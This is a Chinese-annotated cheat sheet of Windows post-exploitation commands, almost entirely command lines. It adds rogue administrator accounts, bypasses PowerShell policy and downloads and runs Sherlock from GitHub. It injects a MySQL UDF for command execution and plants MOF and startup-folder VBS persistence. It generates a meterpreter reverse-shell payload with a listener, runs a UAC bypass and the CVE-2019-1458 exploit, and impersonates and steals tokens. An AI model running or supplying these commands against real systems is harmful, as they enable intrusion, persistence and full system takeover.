$ query user               # 查看用户登陆情况
$ whoami                   # 当前用户权限
$ set                      # 环境变量
$ hostname                 # 主机名
$ systeminfo               # 查看当前系统版本与补丁信息
$ ver                      # 查看当前服务器操作系统版本
$ net user                 # 查看用户信息
$ net start                # 查看当前计算机开启服务名称
$ netstat -ano             # 查看端口情况
$ netstat -ano|find "3389" # 查看指定端口
$ tasklist                 # 查看所有进程占用的端口
$ taskkil /im xxx.exe /f   # 强制结束指定进程
$ taskkil -PID pid号       # 结束某个pid号的进程
$ tasklist /svc|find "TermService" # 查看服务pid号
$ wmic os get caption              # 查看系统名
$ wmic product get name,version    # 查看当前安装程序
$ wmic qfe get Description,HotFixID,InstalledOn # 查看补丁信息
$ wmic qfe get Description,HotFixID,InstalledOn | findstr /C:"KB4346084" /C:"KB4509094" # 定位特定补丁

# 添加管理员用户
$ net user username(用户名) password(密码) /add  # 添加普通用户
$ net localgroup adminstrators username /add   # 把普通用户添加到管理员用户组
# 如果远程桌面连接不上可以添加远程桌面组
$ net localgroup "Remote Desktop Users" username /add

$ WinSysHelper.bat

# 启动Powershell
$ powershell.exe -exec bypass

# 本地加载脚本
$ Import-Module Sherlock.ps1

# 远程加载脚本
$ IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1')

# 检查漏洞，Vulnstatus为Appears Vulnerable即存在漏洞
$ Find-AllVulns

[01]: KB2999226
[02]: KB976902

$ python cloak.py -d -i lib_mysqludf_sys.dll_

-- 寻找MySQL目录
mysql> select @@basedir;
mysql> show variables like '%plugin%';

-- 利用NTFS ADS创建目录,有Webshell的情况下可直接菜刀创建
mysql> select '123' into dumpfile 'C:\\phpStudy\\MySQL\\lib::$INDEX_ALLOCATION'; 
mysql> select '123' into dumpfile 'C:\phpStudy\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';

-- 在【本地】以二进制读取UDF并转换十六进制
mysql> select hex(load_file("C:\\udf.dll")) into dumpfile 'C:\\myudf.txt';

-- 在【靶机】写入UDF,这里将UDF文件命名为myudf.dll
mysql> select unhex ('十六进制UDF') into dumpfile "C:\\Program Files\\MySQL\\lib\\plugin\\myudf.dll";

-- 出现secure-file-priv相关报错，需要修改mysql配置文件my.ini或mysql.cnf
-- secure_file_priv=/ # 允许导入到任意路径

mysql> create function sys_eval returns string soname 'myudf.dll';

mysql> select sys_eval("whoami")

#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter {
  EventNamespace = "Root\\Cimv2";
  Name = "filtP2";
  Query = "Select * From __InstanceModificationEvent "
  "Where TargetInstance Isa \"Win32_LocalTime\" "
  "And TargetInstance.Second = 5";
  QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer {
  Name = "consPCSV2";
  ScriptingEngine = "JScript";
# 执行命令,新建用户naraku
  ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user naraku 123456 /add\")";
};
instance of __FilterToConsumerBinding {
  Consumer = $Consumer;
  Filter = $EventFilter;
};

select load_file("C:/xxx/test.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"

$ net stop winmgmt
$ del c:/windows/system32/wbem/repository
$ net start winmgmt

create table a (cmd text); 
insert into a values ("set wshshell=createobject (""wscript.shell"") " ); 
insert into a values ("a=wshshell.run (""cmd.exe /c net user naraku 123456 /add"",0) " ); 
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators naraku /add"",0) " ); 
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";

# 生成木马并放入靶机
$ msfvenom -p windows/meterpreter_reverse_tcp lhost=<攻击机IP> lport=<攻击机监听端口> -f exe -o /tmp/win.exe
# 攻击机监听
$ msfconsole
msf> use exploit/multi/handler 
msf> set payload windows/meterpreter_reverse_tcp
msf> set lhost <攻击机IP>
msf> set lport <攻击机端口>
msf> exploit
# 靶机运行,此时攻击机MSF会接收到反弹的Shell,在MSF中运行shell命令
meterpreter> shell 
C:\Users\Naraku\Desktop>whoami
naraku-win7\naraku
# 出现中文乱码可运行
# C:\Users\Naraku\Desktop>chcp 65001

meterpreter> getsystem

meterpreter> background  # 后台session 
msf> use exploit/windows/local/bypassuac
msf> set SESSION <session_id>  
# 后台session时会返回session_id,如不清楚可以使用命令sessions -l
msf> run

# 查询补丁
meterpreter> run post/windows/gather/enum_patches 
[+] KB2999226 installed on 11/25/2020
[+] KB976902 installed on 11/21/2010

# 查询Exp
msf> use post/multi/recon/local_exploit_suggester 
msf> set LHOST <攻击机IP>
msf> set SESSION <session_id>
msf> run

meterpreter> sysinfo         # 查看位数
meterpreter> ps              # 查看进程
meterpreter > migrate <PID>  # 进程迁移

msf> use exploit/windows/local/cve_2019_1458_wizardopium 
msf> set SESSION <session_id>
msf> run
meterpreter> getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter> use incognito                                  
meterpreter> list_tokens -u                          # 查看可用的token
meterpreter> impersonate_token 'NT AUTHORITY\SYSTEM' # 假冒SYSTEM token
meterpreter> execute -f cmd.exe -i –t                # -t使用假冒的token 执行
meterpreter> rev2self                               # 返回原始token

meterpreter> ps                 # 查看进程
meterpreter> steal_token <PID>  # 从指定进程中窃取token
meterpreter> drop_token         # 删除窃取的token